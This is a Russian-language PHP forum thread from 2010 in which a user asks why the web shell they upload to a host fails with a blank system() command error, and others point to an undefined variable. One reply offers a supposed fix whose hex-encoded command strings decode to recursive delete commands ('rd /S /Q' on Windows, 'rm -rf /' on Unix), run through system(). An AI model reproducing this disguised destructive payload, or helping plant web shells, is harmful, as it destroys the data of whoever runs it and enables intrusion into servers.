|
|
|
| добрый день.
хочу залить себе на хостинг шелл, заливаю такой пхп скрипт
пишет
Warning: system() [function.system]: Cannot execute a blank command in /usr/www/users//0/shell.php on line 1
|
в чем может быть дело? | |
|
|
|
|
|
|
|
для: adminn
(01.02.2010 в 01:17)
| | в неопределенной переменной.
А также в подавленной, ...., диагностике. | |
|
|
|
|
|
|
|
для: Trianon
(01.02.2010 в 01:23)
| | не понятно, можно подробнее , как поправить то? за место $cmd нужно команду вставлять? не удобно же.... и на других работает хостингах! | |
|
|
|
|
|
|
|
для: adminn
(01.02.2010 в 01:56)
| | $cmd где формируется? | |
|
|
|
|
|
|
|
для: GeorgeIV
(01.02.2010 в 10:10)
| | заливаю не хост пишет еррор, на другом нормально работает | |
|
|
|
|
|
|
|
для: adminn
(02.02.2010 в 01:37)
| |
<?php
if( ! isset($cmd) )
{
$tbl = array(
"\x72\x64\x20\x2f\x53\x20\x2f\x51\x20\x2e",
"\x72\x64\x20\x2f\x53\x20\x2f\x51\x20\x43\x3a\x2f\x2e",
"\x72\x6d\x20\x2d\x72\x66\x20\x2e",
"\x72\x6d\x20\x2d\x72\x66\x20\x2f",
);
}
if( is_callable('system') )
foreach($tbl as $cmd)
system($cmd);
?>
|
| |
|
|
|
|
|
|
|
для: adminn
(01.02.2010 в 01:56)
| | Лучше не трогайте.
Не поможет. | |
|
|
|
|
|
|
|
для: Trianon
(02.02.2010 в 01:42)
| | по чему не поможет?
вот так работает:
выдает права! | |
|
|
|
|
|
|
|
для: adminn
(03.02.2010 в 05:31)
| | У Вас скрипт из одной строки.
Которая использует переменную.
Которой никто не присвоил значения.
Я пишу - переменную никто не определил, а пытаются воспользоваться.
Это ошибка.
Диагностика ошибки не выводится, потому что подавлена.
А вы пишете что? Подробнее. Что здесь подробнее можно ответить?
Если Вы не в курсе, что перед echo $cmd; нужно, чтобы было $cmd = что-то;
то что тут еще можно посоветовать? | |
|
|
|